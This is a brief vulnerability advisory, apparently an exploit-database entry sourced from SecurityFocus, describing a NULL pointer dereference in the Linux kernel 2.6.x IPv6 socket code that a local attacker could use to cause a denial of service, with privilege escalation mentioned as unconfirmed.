Linux Kernel 2.6.x - IPv6_SockGlue.c NULL Pointer Dereference Vulnerability

                                                source: http://www.securityfocus.com/bid/23142/info

The Linux kernel is prone to a NULL-pointer dereference vulnerability.

A local attacker can exploit this issue to crash the affected application, denying service to legitimate users. The attacker may also be able to execute arbitrary code with elevated privileges, but this has not been confirmed.
